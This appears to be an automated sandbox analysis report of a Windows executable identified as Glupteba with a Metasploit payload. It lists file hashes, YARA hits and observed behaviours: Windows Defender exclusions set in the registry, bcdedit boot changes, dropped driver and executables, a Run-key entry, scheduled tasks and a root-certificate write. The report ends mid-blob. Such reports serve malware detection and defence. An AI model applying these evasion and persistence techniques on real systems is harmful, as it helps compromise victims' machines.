Analysis
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max time kernel
128s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-01-2023 18:32
Static task
static1
Behavioral task
behavioral1
Sample
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe
Resource
win10v2004-20220901-en
General
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Target
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe
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Size
3.9MB
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MD5
d2953d9b8f72ed45bf0b493c2fdc6b03
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SHA1
4e5eded5b11877e20251aa2c4f63a7b001cb0142
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SHA256
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435
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SHA512
ca1dc47ead2c3dfea0fd4d431ab87fb3f4a4d68522a55f1cae18a6440e6d301e1f7268bad9503c8f4ddfeb50b579c6fd7715f2d576d09c786339cc8c108534f0
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SSDEEP
98304:mxeL4Gk8Vz7uUZ+Lg9Y2mdhWCPEw6QaEYQA:mwsGk8z7NZ+JPPsQaEYQA
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/1160-56-0x0000000001530000-0x0000000001D34000-memory.dmp family_glupteba behavioral1/memory/1160-57-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1160-59-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/532-64-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/532-69-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1640-72-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1640-73-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1496-76-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldBush = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1760 bcdedit.exe 1772 bcdedit.exe 556 bcdedit.exe 1972 bcdedit.exe 1216 bcdedit.exe 1576 bcdedit.exe 428 bcdedit.exe 1092 bcdedit.exe 1420 bcdedit.exe 980 bcdedit.exe 568 bcdedit.exe 2024 bcdedit.exe 1068 bcdedit.exe 1988 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exedsefix.exepid process 1640 csrss.exe 1496 patch.exe 1400 dsefix.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Loads dropped DLL 12 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exepatch.execsrss.exepid process 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe 532 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe 872 1496 patch.exe 1496 patch.exe 1496 patch.exe 1496 patch.exe 1496 patch.exe 1496 patch.exe 1496 patch.exe 1496 patch.exe 1640 csrss.exe -
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldBush = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\OldBush = "\"C:\\Windows\\rss\\csrss.exe\"" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exemakecab.exedescription ioc process File created C:\Windows\rss\csrss.exe 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe File created C:\Windows\Logs\CBS\CbsPersist_20230129193302.cab makecab.exe File opened for modification C:\Windows\rss 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1504 schtasks.exe 1996 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 39245534561e70d5e4fa10d71c631965a24e6bb6da96fcfb9db6461f065da435.exe -
Processes:
csrss.exepatch.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff04